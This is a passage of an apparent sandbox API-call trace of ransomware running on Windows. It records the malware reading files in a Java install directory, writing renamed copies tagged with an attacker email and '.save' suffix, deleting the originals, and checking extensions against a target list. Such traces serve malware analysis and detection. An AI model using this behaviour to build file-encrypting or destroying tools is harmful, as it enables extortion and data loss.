lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xfe8, lpOverlapped=0x0) returned 1 [0162.661] WriteFile (in: hFile=0x43c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xff0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xff0, lpOverlapped=0x0) returned 1 [0162.662] ReadFile (in: hFile=0x438, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0162.662] WriteFile (in: hFile=0x43c, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x106, lpOverlapped=0x0) returned 1 [0162.663] SetEndOfFile (hFile=0x43c) returned 1 [0162.663] CloseHandle (hObject=0x43c) returned 1 [0162.663] SetFilePointerEx (in: hFile=0x438, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0162.663] SetEndOfFile (hFile=0x438) returned 1 [0162.667] CloseHandle (hObject=0x438) returned 1 [0162.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0162.668] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_cn.properties")) returned 1 [0162.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.669] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.669] lstrlenW (lpString=".doc") returned 4 [0162.669] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.669] lstrlenW (lpString=".docx") returned 5 [0162.670] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.670] lstrlenW (lpString=".pdf") returned 4 [0162.670] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString=".xls") returned 4 [0162.670] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString=".xlsx") returned 5 [0162.670] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.670] lstrlenW (lpString=".ppt") returned 4 [0162.670] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.670] lstrlenW (lpString=".zip") returned 4 [0162.670] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString=".rar") returned 4 [0162.670] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString=".bz2") returned 4 [0162.670] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString=".7z") returned 3 [0162.670] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.670] lstrlenW (lpString=".dbf") returned 4 [0162.670] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.670] lstrlenW (lpString=".1cd") returned 4 [0162.670] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.670] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.670] lstrlenW (lpString=".jpg") returned 4 [0162.671] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.671] lstrlenW (lpString=".doc") returned 4 [0162.671] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString=".docx") returned 5 [0162.671] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0162.671] lstrlenW (lpString=".pdf") returned 4 [0162.671] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString=".xls") returned 4 [0162.671] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString=".xlsx") returned 5 [0162.671] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0162.671] lstrlenW (lpString=".ppt") returned 4 [0162.671] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.671] lstrlenW (lpString=".zip") returned 4 [0162.671] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString=".rar") returned 4 [0162.671] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString=".bz2") returned 4 [0162.671] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0162.671] lstrlenW (lpString=".7z") returned 3 [0162.672] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0162.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.672] lstrlenW (lpString=".dbf") returned 4 [0162.672] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0162.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.672] lstrlenW (lpString=".1cd") returned 4 [0162.672] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0162.672] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_CN.properties") returned 71 [0162.672] lstrlenW (lpString=".jpg") returned 4 [0162.672] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0162.672] lstrcmpiW (lpString1=".properties", lpString2=".save") returned -1 [0162.672] lstrlenW (lpString="messages_zh_HK.properties") returned 25 [0162.672] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.064] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=3752) returned 1 [0163.064] CloseHandle (hObject=0x434) returned 1 [0163.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 0x20 [0163.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.065] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.065] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.065] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0163.070] GetLastError () returned 0x0 [0163.071] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0xea8, lpOverlapped=0x0) returned 1 [0163.090] WriteFile (in: hFile=0x448, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xeb0, lpOverlapped=0x0) returned 1 [0163.091] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.091] WriteFile (in: hFile=0x448, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x106, lpOverlapped=0x0) returned 1 [0163.091] SetEndOfFile (hFile=0x448) returned 1 [0163.092] CloseHandle (hObject=0x448) returned 1 [0163.092] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.092] SetEndOfFile (hFile=0x434) returned 1 [0163.095] CloseHandle (hObject=0x434) returned 1 [0163.095] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.096] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\deploy\\messages_zh_hk.properties")) returned 1 [0163.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.096] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.096] lstrlenW (lpString=".doc") returned 4 [0163.096] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.096] lstrlenW (lpString=".docx") returned 5 [0163.096] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.096] lstrlenW (lpString=".pdf") returned 4 [0163.096] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.096] lstrlenW (lpString=".xls") returned 4 [0163.097] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString=".xlsx") returned 5 [0163.097] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.097] lstrlenW (lpString=".ppt") returned 4 [0163.097] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.097] lstrlenW (lpString=".zip") returned 4 [0163.097] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString=".rar") returned 4 [0163.097] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString=".bz2") returned 4 [0163.097] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString=".7z") returned 3 [0163.097] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.097] lstrlenW (lpString=".dbf") returned 4 [0163.097] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.097] lstrlenW (lpString=".1cd") returned 4 [0163.097] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.097] lstrlenW (lpString=".jpg") returned 4 [0163.097] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.097] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.097] lstrlenW (lpString=".doc") returned 4 [0163.097] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1 [0163.097] lstrlenW (lpString=".docx") returned 5 [0163.097] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1 [0163.097] lstrlenW (lpString=".pdf") returned 4 [0163.097] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString=".xls") returned 4 [0163.098] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString=".xlsx") returned 5 [0163.098] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1 [0163.098] lstrlenW (lpString=".ppt") returned 4 [0163.098] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.098] lstrlenW (lpString=".zip") returned 4 [0163.098] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString=".rar") returned 4 [0163.098] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString=".bz2") returned 4 [0163.098] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString=".7z") returned 3 [0163.098] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1 [0163.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.098] lstrlenW (lpString=".dbf") returned 4 [0163.098] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.098] lstrlenW (lpString=".1cd") returned 4 [0163.098] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1 [0163.098] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\deploy\\messages_zh_HK.properties") returned 71 [0163.098] lstrlenW (lpString=".jpg") returned 4 [0163.098] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1 [0163.098] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.098] lstrlenW (lpString="cldrdata.jar") returned 12 [0163.098] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.099] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=3860502) returned 1 [0163.099] CloseHandle (hObject=0x434) returned 1 [0163.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar")) returned 0x20 [0163.099] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.100] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar.id-b4197730.[seavays@aol.com].save")) returned 0 [0163.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.100] lstrlenW (lpString=".doc") returned 4 [0163.100] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.100] lstrlenW (lpString=".docx") returned 5 [0163.100] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0163.100] lstrlenW (lpString=".pdf") returned 4 [0163.100] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.100] lstrlenW (lpString=".xls") returned 4 [0163.100] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.100] lstrlenW (lpString=".xlsx") returned 5 [0163.100] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0163.100] lstrlenW (lpString=".ppt") returned 4 [0163.100] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.100] lstrlenW (lpString=".zip") returned 4 [0163.100] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.100] lstrlenW (lpString=".rar") returned 4 [0163.100] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.100] lstrlenW (lpString=".bz2") returned 4 [0163.100] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.100] lstrlenW (lpString=".7z") returned 3 [0163.100] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.100] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.101] lstrlenW (lpString=".dbf") returned 4 [0163.101] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.101] lstrlenW (lpString=".1cd") returned 4 [0163.101] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.101] lstrlenW (lpString=".jpg") returned 4 [0163.101] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.101] lstrlenW (lpString=".doc") returned 4 [0163.101] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.101] lstrlenW (lpString=".docx") returned 5 [0163.101] lstrcmpiW (lpString1=".docx", lpString2="a.jar") returned -1 [0163.101] lstrlenW (lpString=".pdf") returned 4 [0163.101] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.101] lstrlenW (lpString=".xls") returned 4 [0163.101] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.101] lstrlenW (lpString=".xlsx") returned 5 [0163.101] lstrcmpiW (lpString1=".xlsx", lpString2="a.jar") returned -1 [0163.101] lstrlenW (lpString=".ppt") returned 4 [0163.101] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.101] lstrlenW (lpString=".zip") returned 4 [0163.101] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.101] lstrlenW (lpString=".rar") returned 4 [0163.101] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.101] lstrlenW (lpString=".bz2") returned 4 [0163.101] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.101] lstrlenW (lpString=".7z") returned 3 [0163.101] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.101] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.102] lstrlenW (lpString=".dbf") returned 4 [0163.102] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.102] lstrlenW (lpString=".1cd") returned 4 [0163.102] lstrcmpiW (lpString1=".1cd", lpString2=".jar") returned -1 [0163.102] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\cldrdata.jar") returned 55 [0163.102] lstrlenW (lpString=".jpg") returned 4 [0163.102] lstrcmpiW (lpString1=".jpg", lpString2=".jar") returned 1 [0163.102] lstrcmpiW (lpString1=".jar", lpString2=".save") returned -1 [0163.102] lstrlenW (lpString="dnsns.jar") returned 9 [0163.102] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.103] GetFileSizeEx (in: hFile=0x434, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=8286) returned 1 [0163.103] CloseHandle (hObject=0x434) returned 1 [0163.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 0x20 [0163.103] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0163.103] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0163.103] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.103] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.103] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x448 [0163.105] GetLastError () returned 0x0 [0163.105] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x205e, lpOverlapped=0x0) returned 1 [0163.107] WriteFile (in: hFile=0x448, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2060, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2060, lpOverlapped=0x0) returned 1 [0163.109] ReadFile (in: hFile=0x434, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0163.109] WriteFile (in: hFile=0x448, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0xe6, lpOverlapped=0x0) returned 1 [0163.109] SetEndOfFile (hFile=0x448) returned 1 [0163.109] CloseHandle (hObject=0x448) returned 1 [0163.109] SetFilePointerEx (in: hFile=0x434, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0163.109] SetEndOfFile (hFile=0x434) returned 1 [0163.112] CloseHandle (hObject=0x434) returned 1 [0163.112] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0163.112] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\ext\\dnsns.jar")) returned 1 [0163.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.113] lstrlenW (lpString=".doc") returned 4 [0163.113] lstrcmpiW (lpString1=".doc", lpString2=".jar") returned -1 [0163.113] lstrlenW (lpString=".docx") returned 5 [0163.113] lstrcmpiW (lpString1=".docx", lpString2="s.jar") returned -1 [0163.113] lstrlenW (lpString=".pdf") returned 4 [0163.113] lstrcmpiW (lpString1=".pdf", lpString2=".jar") returned 1 [0163.113] lstrlenW (lpString=".xls") returned 4 [0163.113] lstrcmpiW (lpString1=".xls", lpString2=".jar") returned 1 [0163.113] lstrlenW (lpString=".xlsx") returned 5 [0163.113] lstrcmpiW (lpString1=".xlsx", lpString2="s.jar") returned -1 [0163.113] lstrlenW (lpString=".ppt") returned 4 [0163.113] lstrcmpiW (lpString1=".ppt", lpString2=".jar") returned 1 [0163.113] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.113] lstrlenW (lpString=".zip") returned 4 [0163.113] lstrcmpiW (lpString1=".zip", lpString2=".jar") returned 1 [0163.113] lstrlenW (lpString=".rar") returned 4 [0163.113] lstrcmpiW (lpString1=".rar", lpString2=".jar") returned 1 [0163.114] lstrlenW (lpString=".bz2") returned 4 [0163.114] lstrcmpiW (lpString1=".bz2", lpString2=".jar") returned -1 [0163.114] lstrlenW (lpString=".7z") returned 3 [0163.114] lstrcmpiW (lpString1=".7z", lpString2="jar") returned -1 [0163.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.114] lstrlenW (lpString=".dbf") returned 4 [0163.114] lstrcmpiW (lpString1=".dbf", lpString2=".jar") returned -1 [0163.114] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\ext\\dnsns.jar") returned 52 [0163.114] lstrlenW 